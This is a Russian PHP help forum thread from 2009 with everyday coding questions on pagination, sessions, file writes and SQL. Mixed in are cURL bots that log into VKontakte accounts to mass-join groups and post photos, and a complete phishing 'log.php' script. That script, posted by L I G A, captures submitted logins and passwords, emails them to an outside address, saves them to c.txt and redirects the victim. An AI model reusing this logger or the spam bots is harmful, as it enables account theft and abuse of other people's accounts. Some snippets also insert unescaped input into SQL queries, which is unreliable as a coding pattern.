Content-Disposition: form-data; name="hash"

d92fd39fffc05c83a0d5f52b6cd45312
-----------------------------41184676334
Content-Disposition: form-data; name="vk"


-----------------------------41184676334
Content-Disposition: form-data; name="rhash"

fe1ced45497d9aeff89757bd6ce15824
-----------------------------41184676334
Content-Disposition: form-data; name="file1"; filename="x_c2e3d70e.jpg"
Content-Type: image/jpeg

Правильно ли я отправлял в приведеном више скрипте?

WVBR
11.10.2009, 23:07
так и не решил вопрос как выводить порядка 15 ответов ниже "лучшего" не включая его самого

$reyting[0]=8;
$reyting[1]=9;
$reyting[2]=3;

$otvet[0]='da';
$otvet[1]='net';
$otvet[2]='neznau';

в цикле анализируем массив $reyting
находим максимальное значение
запоминаем индекс

выводим ответ индекс которого = индексу максимального элемента массив $reyting
в цикле выводим ответы с условием что индекс массива $otvet не равен индексу максимального элемента массив $reyting

)) какой вопрос такой ответ

harom
11.10.2009, 23:39
WVBR почему же... в целом всё понятно))

zifanchuck
12.10.2009, 00:46
люди помогите плизз. уже целый вечер пробую исправить скрипт, результатов 0 ((
пост #12853 и #12857
очень надеюсь на помощь. скорее всего не так формирую пост запрос, но опята в етом нет, надеюсь на помощь...

Gifts
12.10.2009, 08:25
zifanchuck 'filename' заменить на 'file1', поле 'name' - убрать, добавить поле 'mid'

harom Создать новый ассоциативный массив из двух исходных и отсортировать по желанию. Потом первый элемент (тот который лучший) - удалить. Без кода не так очевидно, так что:
$reyting[0]=8;
$reyting[1]=9;
$reyting[2]=3;

$otvet[0]='da';
$otvet[1]='net';
$otvet[2]='neznau';


$array = array_combine($reyting,$otvet);
krsort($array, SORT_NUMERIC);
// Выводим топовый ответ:
var_dump(array_shift($array));
// Выводим оставшийся массив, уже без первого эл-та
var_dump($array);

[K4t]
12.10.2009, 17:21
Здравстуйте. Как можно сделать отображение списка ссылок на страницы, типа << [1] [2] [3].. >> далее. делаю каталог (mysql). сейчас у меня получилось только это: $sql = mysql_result(mysql_query("select count(*) from $table"),0);
for ($i=0;$i<=$sql-1;$i++)
{
$ix = $i + 1;
if ($id == $i)
{
echo "<a href=$site?id=$i><b>[</b> $ix <b>]</b></a>";
} else { echo "<a href=$site?id=$i>[ $ix ]</a>";}
$ix = $i - 1;
} А как можно сделать что-то адекватное с определённым колвом ссылок?

WVBR
12.10.2009, 17:48
']А как можно сделать что-то адекватное с определённым колвом ссылок?

функция

function link_bar($page, $count, $pages_count, $show_link,$ll)
{
if ($pages_count == 1) return false;
$sperator = ' ';
$style = 'style="color: #808000; text-decoration: none;"';
$begin = $page - intval($show_link / 2);
unset($show_dots);
if ($pages_count <= $show_link + 1) $show_dots = 'no';
if (($begin > 2) && ($pages_count - $show_link > 2)) {
echo '<a '.$style.' href=\''.$ll.'&rz=1#f\'> <<< </a> ';
}
for ($j = 0; $j <= $show_link; $j++)
{
$i = $begin + $j;
if ($i < 1) continue;
if (!isset($show_dots) && $begin > 1) {
echo ' <a '.$style.' href=\''.$ll.'&rz='.($i-1).'#f\'><b>...</b></a> ';
$show_dots = "no";
}
if ($i > $pages_count) break;
if ($i == $page) {
echo ' <a '.$style.' ><b>'.$i.'</b></a> ';
} else {
echo ' <a '.$style.' href=\''.$ll.'&rz='.$i.'#f\'>'.$i.'</a> ';
}
if (($i != $pages_count) && ($j != $show_link)) echo $sperator;
if (($j == $show_link) && ($i < $pages_count)) {
echo ' <a '.$style.' href=\''.$ll.'&rz='.($i+1).'#f\'><b>...</b></a> ';
}
}
if ($begin + $show_link + 1 < $pages_count) {
echo ' <a '.$style.' href=\''.$ll.'&rz='.$pages_count.'#f\'> >>> </a>';
}
return true;
}



Вызвать так

link_bar($rzt,$kol,$kol, 15,'?l=static&&wpp='.$wpp);


если я правильно понял что требуется)

zifanchuck
12.10.2009, 17:48
Gifts, спс, только вот всеравно не пашет(

шлю так

$result = curl($ssil, array(
'act'=>"do_add",
'id'=>$id,
'aid'=>$id,
'gid'=>$i,
'mid'=>$mid,
'hash'=>$hash,
'vk'=>"",
'rhash'=>$rhash,
'file1'=>"@$foto"));


Вроде так как ты сказал. всеравно пишет ошибку(

Genry13
12.10.2009, 19:09
регулярные выражения в php, часть 1 (http://phpclub.ru/detail/article/regexp_1)
регулярные выражения в php, часть 2 (http://phpclub.ru/detail/article/regexp_2)
Да выучил уже это наизусть... не могу сообразить как фильтр прописать... добры люди, подскажите кодом, кто сколько может

gisTy
12.10.2009, 21:28
Да выучил уже это наизусть... не могу сообразить как фильтр прописать... добры люди, подскажите кодом, кто сколько может
значит плохо выучил

TweakeR
12.10.2009, 21:58
zifanchuck, Почти такая же ситуация, но только у меня пишет:

HTTP/1.1 302 Found Server: nginx/0.7.59
Date: Mon, 12 Oct 2009 17:47:19 GMT
Content-Type: text/html; charset=windows-1251
Connection: keep-alive
X-Powered-By: PHP/5.2.0-8+etch13
Pragma: no-cache
Cache-control: private, must-revalidate
Location: http://vk.com/photos.php?act=done_add&mid=11299865&aid=97211801&gid=0& server=4165&photos=&hash=85bdc5277d4ef08f05738839d3a739ee
Content-Length: 0

А фото нету :confused:

zifanchuck
12.10.2009, 22:02
TweakeR, код кинь))) ето походу рабочий. потом наверное нужно по тому урлу что вконце пройти, типа подтверждения, имхо. код кинь или в личку или в теме отпишись) а то яуже сутки ломаю голову)))

TweakeR
12.10.2009, 22:19
zifanchuck, держи
preg_match_all("#album([0-9]+)_([0-9]+)#",$alb,$alb_id);
$alb_id_userid = $alb_id[1][0];
$alb_id_alboid = $alb_id[2][0];
print "We open an album ".$alb_id_alboid." --- OK\n";

$photo = $this->twk_curl("http://vk.com/photos.php?act=add&id=".$alb_id_alboid."&oid=".$alb_id_userid ,$cook,"","http://vk.com/photos.php?act=add&id=".$alb_id_alboid."&oid=".$id);
preg_match_all ('#upload\" action=\"(.*)\"#iU', $photo, $regs);$ssil = $regs[1][0];
preg_match_all ('#name=\"id\" value=\"(.*)\"#iU', $photo, $regs);$aid = $regs[1][0];
preg_match_all ('#name=\"mid\" value=\"(.*)\"#iU', $photo, $regs);$mid = $regs[1][0];
preg_match_all ('#name=\"hash\" value=\"(.*)\"#iU', $photo, $regs);$hash = $regs[1][0];
preg_match_all ('#name=\"rhash\" value=\"(.*)\"#iU', $photo, $regs);$rhash = $regs[1][0];

return $this->twk_curl($ssil,$cook,"act=do_add&id=".$aid."&aid=".$aid."&gid=0&mid=".$mid."&hash=".$hash."&vk=1&rhash=".$rhash."&file1=foto.jpg","http://vk.com/photos.php?act=add&id=".$aid."&oid=".$mid);





Сама функция:
function twk_curl($hostname,$cook,$postfield,$refer) {
global $vkcookie;
if(($ch = curl_init($hostname)) == TRUE)
{
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3');
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfield);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
curl_setopt($ch, CURLOPT_COOKIE, $cook);
curl_exec($ch);
$result = curl_multi_getcontent($ch);
curl_close($ch);
flush();
return $result;
}
}


Если будут успехи отпишись, тоже запарился =\

TweakeR
13.10.2009, 00:17
разобрался, ошибка редирикта
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

:)

zifanchuck
13.10.2009, 00:49
Чето непойму где ошибка. хочу модернизировать свой скрипт чтобы вступал в группы по диапазону и добавлял фотку.

вот скрипт

<form method="POST">
<center>
Email:<input type="text" name="email"><br>
Pass:<input type="text" name="pass"><br>
Стартовать с ID:<input type="text" name="start"><br>
Закончить на ID:<input type="text" name="end"><br>
Таймаут:<input type="text" name="sleep"><br>
<input type=submit value="НАчать РАботать!!!"></center>

<?php

//Бот для вступления в группы и встречи по диапазону...


set_time_limit(0);

function curl($url,$post)
{
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};


$start = $_POST['start'];
$end = $_POST['end'];
$email = $_POST['email'];
$pass = $_POST['pass'];
$sleep = $_POST['sleep'];

if(!$email||!$pass||!$start||!$end||!$sleep){exit; }
$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");

for($i=$start; $i<=$end; $i++)
{
//$rand = rand(1, 21);
$foto = 'C:\foto.jpg';

$result = curl("http://vkontakte.ru/club".$i,"");
preg_match_all ('#</li><li><a href=\'(.*)\'>#iU', $result, $regs);
$ssil = $regs[1][0];

$result = curl("http://vkontakte.ru".$ssil,"");


preg_match_all ('#\/photos\.php\?act=add(.*)\"#iU', $result, $regs);
$photo = $regs[0][0];
$photo = str_replace('"', '', $photo);
$photo = "http://vkontakte.ru".$photo;

$result = curl($photo,"");

echo $result;

preg_match_all ('#upload\" action=\"(.*)\"#iU', $result, $regs);
$ssil = $regs[1][0];

preg_match_all ('#name=\"id\" value=\"(.*)\"#iU', $result, $regs);
$id = $regs[1][0];

preg_match_all ('#name=\"mid\" value=\"(.*)\"#iU', $result, $regs);
$mid = $regs[1][0];

preg_match_all ('#name=\"hash\" value=\"(.*)\"#iU', $result, $regs);
$hash = $regs[1][0];

preg_match_all ('#name=\"rhash\" value=\"(.*)\"#iU', $result, $regs);
$rhash = $regs[1][0];

echo "<br>".$ssil."<br>".$id."<br>".$mid."<br>".$hash."<br>".$rhash."<br>".$i."<br>";
$result = curl($ssil, array( 'act' => 'do_add',
'id' => $aid,
'aid' => $aid,
'gid' => $i,
'mid' => $mid,
'hash' => $hash,
'rhash' => $rhash,
'vk' => 0,
'file1' => "@".$foto));
echo $result;

/*
sleep(2);


$result = curl("http://vkontakte.ru/events.php?act=s&gid=".$i,"");
preg_match_all ('#<a href=\"events\.php\?act=enter\&gid=(.*)\">#iU', $result, $regs);
$ssil = $regs[1][0];
$result = curl("http://vkontakte.ru/events.php?act=enter&gid=".$ssil,"");
sleep($sleep);
*/
}
?>


надаюсь поможете. а то завтра уезджаю, времени уже завтра небудет, а изза того что скрипт не закончил отдохгуть нормально не смогу :(

b3
13.10.2009, 03:27
zifanchuck
каким образом ты пытаешся авторизироватся на вкантакте? Невижу просто парс сессии.

TweakeR
13.10.2009, 03:51
zifanchuck
каким образом ты пытаешся авторизироватся на вкантакте? Невижу просто парс сессии.
Авторизация там проходит, вопрос как изображение загрузить.

zifanchuck
13.10.2009, 11:01
каким образом ты пытаешся авторизироватся на вкантакте? Невижу просто парс сессии.
Там ее и парсить ненадо, все норм работает. в группы вступает а вот картинку загружать нехочет((

TweakeR
13.10.2009, 13:18
дошёл до такого результата:
HTTP/1.1 100 Continue

HTTP/1.1 302 Found
Server: nginx/0.7.59
Date: Tue, 13 Oct 2009 09:16:50 GMT
Content-Type: text/html; charset=windows-1251
Connection: keep-alive
X-Powered-By: PHP/5.2.0-8+etch13
Pragma: no-cache
Cache-control: private, must-revalidate
Location: http://vk.com/photos.php?act=done_add&mid=11299865&aid=97211801&gid=0&server=4166&photos=8acc51df52x&hash=d133027aebf89a1c55163ddd4b3224bd
Content-Length: 0

[K4t]
13.10.2009, 13:48
WVBR, спасибо. но мудрённо очень ) переменные непонять какие. но если долго посидеть...

WVBR
13.10.2009, 18:58
']WVBR, спасибо. но мудрённо очень ) переменные непонять какие. но если долго посидеть...

ты скинь полный вариант скрипта я заточу тебе под конкретную задачу, тебе нужен постраничный вывод, например по принципу выдачи серча в гугл я правильно понял?

crazy~driver
13.10.2009, 23:41
подскажите, при записи в txt файл все данные записываются в одну строку. как сделать перевод строки? Чтобы каждая новая запись производилась со следующей строки




/*if (strtoupper(substr(PHP_OS,0,3)) === "WIN")
{
$per = 'rn'; // перевод строки для Windows-систем
}
else
{
$per = 'n'; // перевод строки для UNIX-систем
}
*/

$adres="http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$file=fopen ("module/deystvie.txt","a");
fwrite ($file,$adres);
fclose ($file);

wildshaman
13.10.2009, 23:45
fwrite ($file,$adres."\r\n");

Fepsis
13.10.2009, 23:45
подскажите, при записи в txt файл все данные записываются в одну строку. как сделать перевод строки? Чтобы каждая новая запись производилась со следующей строки
fwrite ($file,$adres."\r\n");

REBUUS
14.10.2009, 01:38
ПХП злодей, у меня такой вопрос, есть БД ну допусти чата где хранятся к слову (ник,сообщение) надо мне вывести тор-10 у кого сумма сообщений больше всего , какой ни будь кривой скрипт но рабочий я сам могу, надо что бы быстро выводил и не перебирал базу по сто раз
или может как то в одном запросе к БД можно сделать это. на пример:
select nic , count(mes) from ... order by count(mes) limit 10

d_x
14.10.2009, 02:09
select nick, count(mes) as cnt from таблица group by nick order by cnt desc limit 0,10

-Денис-
14.10.2009, 10:37
Вопрос такой, мне необходимо периодически с сайта (гдето раз в 5 сек) подгружать определенную информацию (несколько цифровых значений) для отображения этих данных на странице, обновлять всю страницу будет слишком долго и будет расходоваться много трафика. Т.е. это должно быть чтото наподобии регистрации на mail.ru, когда производится проверка занятости ящека. Интересует как это можно организовать на php с учетом того что это выполнять будет самописный компонент для joomla

[x26]VOLAND
14.10.2009, 10:46
Используй технологию AJAX (на JS).
Например, подключаешь к странице js-фреймворк jQuery (jquery.com), затем в коде пишешь:

$.getJSON("http://site.com/page.php?get_json_data", function(data) {
// Операции с объектом data
// (берёшь его поля и рассовываешь по нужным тегам)
$("#имя_элемента").text(data.SomeField);
});

Ссылка http://site.com/page.php?get_json_data должна отсылать клиенту объект с данными в формате json.

Как выставить периодическое выполнение - почитай в мануале.

Patronik
14.10.2009, 14:24
Есть проблема с сесиями в пхп. На локалхосте написал сценарий для хранения в сесии некоторых даных, и все прекрасно работало, но после закачки на хостинг сесии почему то не работают нормально. Ошыбки не выдает, а просто не работает.
Листинг файла таков

<?php
session_start();
$id = $_GET['id'];

if($id)
{

$cart = array();
$totalPrice = 0;
$_SESSION['totalPrice'];

if($_SESSION['cart'][$id]) // если есть такой тогда увеличиваем на единицу
{
$_SESSION['cart'][$id]++;
}
else // Если нет тогда создаем
{
$_SESSION['cart'][$id]=1;
}


}

?>

проблема в том что новые елементы масива cart не создаються так как будто они храняться не в масиве сесий а в обычном масиве. То есть они не сохраняються после перехода между страницами. Непойму в чем дело. Могут ли настройки на хостинге влиять на работу сесий?

m0Hze
14.10.2009, 15:03
$cart = array();
$totalPrice = 0;
$_SESSION['totalPrice']

Что делает 3 строка? оО

Patronik
14.10.2009, 15:20
PHP код:
$cart = array();
$totalPrice = 0;
$_SESSION['totalPrice']

Что делает 3 строка? оО
В етой строке об`вляеться переменная totalPrice. Но дело не в етом. А дело в том что на локалхосте все пашет и нормально создаються переменние и передаються сесией по страницам. А на хостинге виглядит как обычный масив и каждий раз просто создает в масиве $_SESSION один елемент как будто ето обычный масив а не масив сесии, и после вихода не сохраняет.

WNZRS
14.10.2009, 15:25
session_start();
юзай перед использованием массива сессий

Patronik
14.10.2009, 15:28
я использую, полний код два поста више

m0Hze
14.10.2009, 15:36
я использую, полний код два поста више
Тебе говорят про другой документ,на который пользователь попадает после этого.Там тоже должны быть включены сессии.

Gray_Wolf
14.10.2009, 15:40
Могут ли настройки на хостинге влиять на работу сесий?
А где у вас $_SESSION['cart']=$cart;?

Patronik
14.10.2009, 18:40
А где у вас $_SESSION['cart']=$cart;?
А зачем ето делать?
У меня так
<?php
session_start();
$id = $_GET['id'];

if($id)
{

$cart = array();
$totalPrice = 0;
$_SESSION['totalPrice'];

if($_SESSION['cart'][$id]) // если есть такой тогда увеличиваем на единицу
{
$_SESSION['cart'][$id]++;
}
else // Если нет тогда создаем
{
$_SESSION['cart'][$id]=1;
}


}

?>
У меня сначала обявляеться
$cart = array();
Потом он стает елементом масива $_SESSION (получаеться многомерный масив) А потом просто циклом прохожу по $_SESSION['cart'].
foreach ($_SESSION['cart'] as $item=>$countitems)
{
echo ' Товар '.$item.' Количество '.$countitems.' ';
}

И все работает на денвере. А на хостинге в $_SESSION['cart'] не сохраняеться ничего, а каждий раз просто новый елемент появляеться.
На всех старницах где требуеться использовать $_SESSION['cart'] стартует сесия сначала типа так:
<?php
session_start();
?>

Patronik
14.10.2009, 22:36
Я наверно понял проблему, на хостинге register globals on. Из за етого неработает сесия?

crazy~driver
14.10.2009, 23:37
Если в штаксес прописано
ErrorDocument 404 /zawita/404.php

Возможно ли средствами php в другом любом скрипте отследить была ли загружена эта страница или нет

и тоже самое с 403

[dword]
14.10.2009, 23:53
Если в штаксес прописано
ErrorDocument 404 /zawita/404.php

Возможно ли средствами php в другом любом скрипте отследить была ли загружена эта страница или нет

и тоже самое с 403
как вариант, можно в 404.php заносить данные о посещении - в бд или в файлы, а потом в любом другом скрипте эти данные запросить.

REBUUS
15.10.2009, 01:54
Если в штаксес прописано
ErrorDocument 404 /zawita/404.php

Возможно ли средствами php в другом любом скрипте отследить была ли загружена эта страница или нет

и тоже самое с 403

в файл 404.php добавить счетчик или флажок если количество не имеет значения;)

wolmer
15.10.2009, 02:38
Как перезаписать определенную строку?

ReduKToR
15.10.2009, 12:23
Как сделать скриптом Скриншот первого кадра видео в формате AVI?
мини превью

wolmer
15.10.2009, 15:24
Ты об этом?
$str = 'aaaaaaaaaaaaaa';
// перезаписываем
$str = 'bbbbbbbbbbbbbb';
Нет. Я имею ввиду работу с текстовым файлом (fopen)

REBUUS
15.10.2009, 15:26
Нет. Я имею ввиду работу с текстовым файлом (fopen)

как один из вариантов, считать в массив изменить нужные строчки и потом записать

$ff=file("***.txt");

$ff[i]="новое значение";


(второй вариант поставить курсор в нужное место, но я в этом варианте не уверен)

m0Hze
15.10.2009, 15:42
$oldtext = 'Старый текст';
$newtext = 'новый текст';
$file = file_get_contents('file.txt');
$new = str_replace($oldtext,$newtext,$file);
$open = fopen('file.txt','w');
fwrite($open,$new);
fclose($open);

Можно еще проще.

L I G A
15.10.2009, 16:36
$oldtext = 'Старый текст';
$newtext = 'новый текст';
$file = file_get_contents('file.txt');
$new = str_replace($oldtext,$newtext,$file);
$open = fopen('file.txt','w');
fwrite($open,$new);
fclose($open);

Можно еще проще.
зачем стр_риплейсить ,а не сразу записать $newtext

________
0ph.ru

m0Hze
15.10.2009, 16:40
зачем стр_риплейсить ,а не сразу записать $newtext
Если файл выгляди так:

Привет,я Старый текст! Я хотел....

м?)

L I G A
15.10.2009, 16:42
Если файл выгляди так:

Привет,я Старый текст! Я хотел....

м?)
не догоняю,ты имел в виду : заменять определенную часть текста?

________
0ph.ru

m0Hze
15.10.2009, 16:49
не догоняю,ты имел в виду : заменять определенную часть текста?
Помоему,в вопросе выше именно это и требовалось :)

KaZ@NoVa
15.10.2009, 20:05
Как сделать скриптом Скриншот первого кадра видео в формате AVI?
мини превью
http://p.outlyer.net/vcs/

zavra
16.10.2009, 00:31
<?php
$email="******";
$passwd="******";
$ch=curl_init();
$ckfile = "cookie.txt";
if (file_exists($ckfile) && is_writable($ckfile)){
echo "found cookie file!<br>";
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, $ckfile);
curl_setopt($ch, CURLOPT_URL,"http://pda.vkontakte.ru/login?pda=index&acknowledge=0");
curl_setopt($ch, CURLOPT_HEADER,true);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "email=$email&pass=$passwd");
$buf=curl_exec($ch);
echo $buf;
curl_close($ch);
}
else {
echo "fail opening cookie file";
}
?>
Результат выводит, но куки в файл не записывает =( на самом файле права 0777. Почему?

-PsychonauT-
16.10.2009, 00:44
Установил себе денвер правда на нем могу сделать только icqChat, но недавно появилась нужда установить PHP, для этого нужно было установить Денвер и Denwer3_PHP5_2008-01-13_5.2.4 и раскодировать строчку.....
теперь вопрос: ПОЧЕМУ ТЕПЕРЬ НЕ ЗАХОДИТ В localhost, localhost:8888 и localhost/Tools/phpMyAdmin/
п.с hosts почистил

wildshaman
16.10.2009, 00:48
п.с hosts почистил
Потому и не заходит.

-PsychonauT-
16.10.2009, 01:25
переустановил денвер теперь вместо localhost'a автоматом заходит вконтакт, а при попытки зайти localhost/Tools/phpMyAdmin/ пишет 404 Not Found

_gr34t
16.10.2009, 01:46
Есть строка $hex="544324234523534531".
С помощью какой функции её можно разбить на подстроки по 2 символа?

или есть такая, которая после каждого второго символа поставит, например символ процента?

пока решил так:
$hex='%'.wordwrap($hex,2,'%',1);
но всё равно хочется знать, есть ли стандартная функция для этого

krypt3r
16.10.2009, 07:10
str_split ($hex, 2);
или если нужна строка из хексов
pack ('H*', $hex);

Boogie
16.10.2009, 11:36
переустановил денвер теперь вместо localhost'a автоматом заходит вконтакт, а при попытки зайти localhost/Tools/phpMyAdmin/ пишет 404 Not Found

а tools отображается? как он собственно может зайти в пхпмайадмин, если локалхост настроен на контакт? перенастрой локалхост на 127.0.0.1

-PsychonauT-
16.10.2009, 12:27
Boogie хостс в своей красе
http://s46.radikal.ru/i113/0910/a3/159857d58eb3.jpg (http://www.radikal.ru)
подскажи как перенастроить пожалуйста)))

[dword]
16.10.2009, 12:32
Boogie хостс в своей красе
подскажи как перенастроить пожалуйста)))
-PsychonauT-, удали строчки:
127.0.0.1 vkontakte.ru
127.0.0.1 www.vkontakte.ru

сохрани и перезапусти денвер.

-PsychonauT-
16.10.2009, 12:43
[dword] в бестолку(((( пробовал

min7
16.10.2009, 13:03
-PsychonauT-, попробуй удалить папку Z(название диска где денвер):\home\vkontakte.ru если такая есть

Boogie
16.10.2009, 13:13
убирай строчки с редиректом контакта, перезагрузи комп

Patronik
16.10.2009, 13:14
Есть строка $hex="544324234523534531".
С помощью какой функции её можно разбить на подстроки по 2 символа?

или есть такая, которая после каждого второго символа поставит, например символ процента?

пока решил так:
$hex='%'.wordwrap($hex,2,'%',1);
но всё равно хочется знать, есть ли стандартная функция для этого
Вот так можеш сделать.

$hex="544324234523534531";
$len=strlen($hex);
for($i=0; $i<$len;)
{
$var[] = substr($hex, $i, 2)."%";
$i += 2;
}
foreach ($var as $val)
{
echo ''.$val.'<br>';
}

Isis
16.10.2009, 15:10
Вот так можеш сделать.

$hex="544324234523534531";
$len=strlen($hex);
for($i=0; $i<$len;)
{
$var[] = substr($hex, $i, 2)."%";
$i += 2;
}
foreach ($var as $val)
{
echo ''.$val.'<br>';
}

Мне вот даже интересно что он выберет, свой однострочный вариант или твой.

crackmail
16.10.2009, 18:44
Имеется файл log.php
при таком сорце он не срабатывает , как более грамотнее написать?


<img height=0 width=0 src="http://www.imet/gail.php">
<?PHP
код
код
код
header("Location: http://antichat.net");
?>

L I G A
16.10.2009, 18:49
Имеется файл log.php
при таком сорце он не срабатывает , как более грамотнее написать?
header("Location: http://antichat.net"); - до вывода

________
0ph.ru

crackmail
16.10.2009, 18:57
header("Location: http://antichat.net"); - до вывода

если до вывода то файл log.php вообще не пашет
Parse error: syntax error, unexpected '<' in

L I G A
16.10.2009, 19:05
если до вывода то файл log.php вообще не пашет
Parse error: syntax error, unexpected '<' in
давай весь код, я не телепат.
Эрорит из-зи того что ты <img height=0 width=0 src="http://www.imet/gail.php"> постиш <? тут ?> без использования операторов вывода

________
0ph.ru

crackmail
16.10.2009, 19:14
спасибо сделал

L I G A
16.10.2009, 19:23
без задержек:
<?PHP
Error_Reporting(E_ALL & ~E_NOTICE);

$Login = $_GET['Login'];
$Domain = $_GET['Domain'];
$Pass = $_GET['Password'];

//####################################
$from = "ol.ru"; //
$to = "o95@ru"; //

$subj = " l.com : $Login@$Domain"; //
$body = " Логин: $Login@$Domain \n Пароль: $Password"; //
//####################################


$from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/plain; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit";
$from=convert_cyr_string($from,"w","k");
$to=convert_cyr_string($to,"w","k");
$subj=convert_cyr_string($subj,"w","k");
$body=convert_cyr_string($body,"w","k");
mail($to,$subj,$body,$from);

$c = "$Login@$Domain:$Password";

$f=fopen("c.txt","at");
flock($f,2);
fputs($f,"Логин: ".$_GET['Login']);
fputs($f,"Пароль: ".$_GET['Password']."\n");
flock($f,3);
fclose($f);
header("Location: http://antichat.net");
?>
<img height=0 width=0 src="http://www.imet/gail.php">

________
0ph.ru

prescott
17.10.2009, 13:01
Сегодня начал разбираться с xpath, вопрос конечно не по PHP, но новую тему создавать смысла думаю нет. Есть XML:


<products>
<product name="pr_name">
<properties>
<property name="distr">
http://example.com/distr.exe
</property>
<property name="img">
http://imgs.com/img.jpg
</property>
</properties>
</product>
<products>


Нужно получить ссылку на дистрибутив, указанную в узле <property> с атрибутом name="distr", делаю так:


$xml_string = file_get_contents($url);

$xml = simplexml_load_string($xml_string);

foreach ($xml->products->product as $product) {
$distr = $product->xpath("properties/property[@name='distr']/text()");
print_r($distr);
}


$distr - пустой массив, что неправильно делаю? Если писать так: $distr = $product->xpath("properties/property[@name='distr']");

то возвращает узел property со списком атрибутов, значит путь пишу верно, но как получить текстовое значение узла?

Вопрос снят: ссылка на дистрибутив была в CDATA

CaraL
17.10.2009, 17:50
$link = "http://nokiabest.ru/files/Emylyatory/games/WAD/40_skin.zip";
$name = explode("/", $link);
$name = $name[count($name) - 1];
header("Content-Disposition: attachment; filename=\"Google.Com_$name\";");
file_get_contents($link);
почему выдается для скачивания файл с расширением htm, хотя должен с расширением zip?

eniki
17.10.2009, 18:49
Привет всем, помогите кто знает. Хочу засабмитить форму multipart/form-data через php + cURL

такой post браузер передаёт


-----------------------------1889646677285 Content-Disposition: form-data; name="tagcount" 0 -----------------------------1889646677285 Content-Disposition: form-data; name="ffont" 0 -----------------------------1889646677285 Content-Disposition: form-data; name="fcolor" 0 -----------------------------1889646677285 Content-Disposition: form-data; name="fsize" 0 -----------------------------1889646677285 Content-Disposition: form-data; name="a" fcmmnew -----------------------------1889646677285 Content-Disposition: form-data; name="d" 1 -----------------------------1889646677285 Content-Disposition: form-data; name="login" ararat -----------------------------1889646677285 Content-Disposition: form-data; name="foto" 1 -----------------------------1889646677285 Content-Disposition: form-data; name="s" -----------------------------1889646677285 Content-Disposition: form-data; name="message" dsfsdf -----------------------------1889646677285 Content-Disposition: form-data; name="Submit" ОтпÑ?авить -----------------------------1889646677285--



я эт все в массив


$postdata = array( 'tagcount' => '0', 'ffont' => '0', 'fcolor' => '0', 'fsize' => '0', 'a' => 'fcmmnew', 'd' => '1', 'login' => 'ararat', 'foto' => '1', 's' => '', 'message' => 'dsfsdf', 'Submit' => 'Отправить' );


Но в результате открывается страничка которая должна открыться, но без коммента, что я не так делаю?

qW1zer
17.10.2009, 18:57
Парни нужна помощь,никак не получается загнать в базу данные!
Есть форма регистрации,в ней 5 форм:
логин
е-мейл
пароль
наст.имя
сайт
Они отправляются на страницу,с помощью POST
Там получаются,тем же POST в соотв. переменную каждый(в отдельную)!
Но у меня никак не получается записать их в таблицу!
У меня создана база,в ней таблица users
в таблице 5 полей соотв. названиям инпутов и выбран тип каждого поля - text!Кому не сложно напишите код который после получения будет их забивать в базу!И скажите еще,правильно ли я выбираю тип поля таблицы - text и при следующем заносе,то бишь при следующей регистрации все будет нормально?Заранее всем спасибо :)

krypt3r
17.10.2009, 20:18
лучше свой код покажите, который никак не может записать "форму из пяти форм"

qW1zer
17.10.2009, 20:37
<?php
$dblocation="localhost";
$dbname="base";
$dbuser="user";
$dbpassword="pass";
$db_connect = mysql_connect($dblocation,$dbuser,$dbpassword);
$db_select = mysql_select_db($dbname,$db_connect);
$login=$_POST[login];
$password =$_POST[password];
$email =$_POST[email];
$name =$_POST[name];
$www =$_POST[www];
$userAdd = mysql_query("INSERT INTO
users (login,password,email,name,www)
VALUES
('$login', '$password', '$email', '$name', '$www', ''");
?>

qW1zer
17.10.2009, 20:38
з.ы.Поторопился,из 5 строк/полей

gisTy
17.10.2009, 20:40
<?php
$login=$_POST['login'];
$password =$_POST['password'];
$email =$_POST['email'];
$name =$_POST['name'];
$www =$_POST['www'];
?>а если так?

qW1zer
17.10.2009, 20:46
я заметил что разницы нет,хоть в другом скрипте но думаю все же!
С кавычками у меня проблем не было,лучше посмотри в мускул запросом все правильно?

Patronik
17.10.2009, 20:53
<?php
$dblocation="localhost";
$dbname="base";
$dbuser="user";
$dbpassword="pass";
$db_connect = mysql_connect($dblocation,$dbuser,$dbpassword);
$db_select = mysql_select_db($dbname,$db_connect);
$login=$_POST[login];
$password =$_POST[password];
$email =$_POST[email];
$name =$_POST[name];
$www =$_POST[www];
$userAdd = mysql_query("INSERT INTO
users (login,password,email,name,www)
VALUES
('$login', '$password', '$email', '$name', '$www', ''");
?>




2qW1zer
PRIMARY KEY у тебя в таблице где знаходиться? и какие параметрие етого поля
должно быть так
youtable_key primary key int auto_increment not null

L I G A
17.10.2009, 20:56
а это что :
... '$www', ''");
?
+ юзай mysql_real_escape_string(); перед вставкой данных ,type - string
не знаю как тебе,мне так удобней инсертить:
mysql_query("INSERT INTO `users` SET `login`='".$login."',`passord`='".$password."',`email`='".$email."',`name`='".$name."',`www`='".$www."'")


________
0ph.ru

gisTy
17.10.2009, 20:57
